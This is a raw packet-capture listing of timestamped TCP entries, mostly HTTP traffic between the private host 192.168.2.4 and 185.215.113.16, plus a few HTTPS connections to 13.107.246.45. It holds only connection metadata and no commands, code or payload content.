Nov 18, 2024 21:04:15.888483047 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.888492107 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.888505936 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.888537884 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.890636921 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.890671015 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.890723944 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.891563892 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.891599894 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.891616106 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.891649961 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.893415928 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.893450975 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.893479109 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.893507004 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.893846989 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.893882036 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.893906116 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.893914938 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.893925905 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.893964052 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.897092104 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.897126913 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.897159100 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.897193909 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.898339033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.898371935 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.898399115 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.898426056 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.899653912 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.899709940 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.899715900 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.899765015 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.901782990 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.901818037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.901844025 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.901874065 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.903992891 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.904028893 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.904045105 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.904062033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.904071093 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.904115915 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.905132055 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.905167103 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.905191898 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.905220032 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.906472921 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.906507015 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.906569004 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.907438993 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.907474041 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.907530069 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.915421963 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.915482044 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.920744896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.920818090 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.920819044 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.920869112 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.922399044 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.922914028 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:15.922997952 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.923377991 CET	49823	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:15.923392057 CET	443	49823	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.926462889 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.926568031 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.926584005 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.926616907 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.928477049 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.928510904 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.928541899 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.928575039 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.932945013 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.932980061 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.933012962 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.933047056 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.934307098 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.934343100 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.934375048 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.934400082 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.938203096 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.938236952 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.938268900 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.938270092 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.938297987 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.938316107 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.938628912 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.938663960 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.938695908 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.938723087 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.942895889 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.942929983 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.942954063 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.942975998 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.943394899 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.943429947 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.943463087 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.943496943 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.946324110 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.946357965 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.946389914 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.946405888 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.946410894 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.946459055 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.947361946 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.947396994 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.947426081 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.947458982 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.950201988 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.950237989 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.950269938 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.950304031 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.950953007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.950988054 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.951004028 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.951035976 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.952394962 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.952430010 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.952456951 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.952486992 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.956707954 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.956744909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.956773043 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.956779003 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.956804991 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.956823111 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.960879087 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.960913897 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.960956097 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.960956097 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.967171907 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.967212915 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.967236042 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.967264891 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.970207930 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.970242023 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.970282078 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.970300913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.975328922 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.975368023 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.975399971 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.975409031 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.975409031 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.975455046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.981730938 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.981765032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.981795073 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.981827974 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.983865023 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.983899117 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.983931065 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.983962059 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.984595060 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.984630108 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.984699965 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.987970114 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.988413095 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:15.988437891 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.988830090 CET	49827	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:15.988835096 CET	443	49827	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.990840912 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.990905046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.992091894 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.992125988 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.992161036 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.992193937 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.993586063 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.993853092 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:15.993872881 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.994194984 CET	49826	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:15.994199991 CET	443	49826	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:15.995634079 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.995698929 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.997591972 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.997643948 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.001733065 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.002002001 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.002008915 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.002300978 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.002304077 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.013278008 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.013339996 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.019414902 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.019448996 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.019478083 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.019500971 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.019831896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.019865990 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.019898891 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.019901037 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.019922972 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.019942999 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.023725986 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.023760080 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.023787022 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.023813963 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.024265051 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.024298906 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.024315119 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.024343967 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.026753902 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.026788950 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.026809931 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.026832104 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.027380943 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.027415037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.027437925 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.027460098 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.028841019 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.028876066 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.028898001 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.028908968 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.028919935 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.028958082 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.029239893 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.029274940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.029290915 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.029318094 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.030472994 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.030507088 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.030531883 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.030561924 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.031755924 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.031790972 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.031847954 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.034944057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.035005093 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.035007000 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.035054922 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.041404963 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.041440010 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.041454077 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.041481972 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.067835093 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.068658113 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.068789005 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.069061995 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.069099903 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.069133997 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.069138050 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.069179058 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.069179058 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.069309950 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.069344997 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.069354057 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.069387913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.070375919 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.070470095 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.070514917 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.070544958 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.074126005 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.074285030 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.075501919 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.075536966 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.075573921 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.075608015 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.076582909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.076617002 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.076632977 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.076657057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.076668024 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.076699018 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.081813097 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.081846952 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.081881046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.081913948 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.083369017 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.083404064 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.083431959 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.083462000 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.085015059 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.085047960 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.085074902 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.085103035 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.086097956 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.086131096 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.086155891 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.086184978 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.087240934 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.087275028 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.087301970 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.087308884 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.087357998 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.087357998 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.087977886 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.088011980 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.088040113 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.088069916 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.089704037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.089737892 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.089760065 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.089790106 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.090837955 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.090899944 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.090909004 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.090964079 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.093354940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.093389034 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.093416929 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.093445063 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.108850956 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.108885050 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.109023094 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.109720945 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.109755039 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.109774113 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.109807014 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.113748074 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.113801956 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.114000082 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.114049911 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.114051104 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.114106894 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.115984917 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.116020918 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.116043091 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.116066933 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.118197918 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.118232012 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.118257999 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.118287086 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.119370937 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.119405985 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.119431019 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.119463921 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.121638060 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.121670961 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.121699095 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.121726990 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.123038054 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.123071909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.123095036 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.123106003 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.123117924 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.123148918 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.125778913 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.125812054 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.125837088 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.125859022 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.128875971 CET	80	49818	185.215.113.16	192.168.2.4
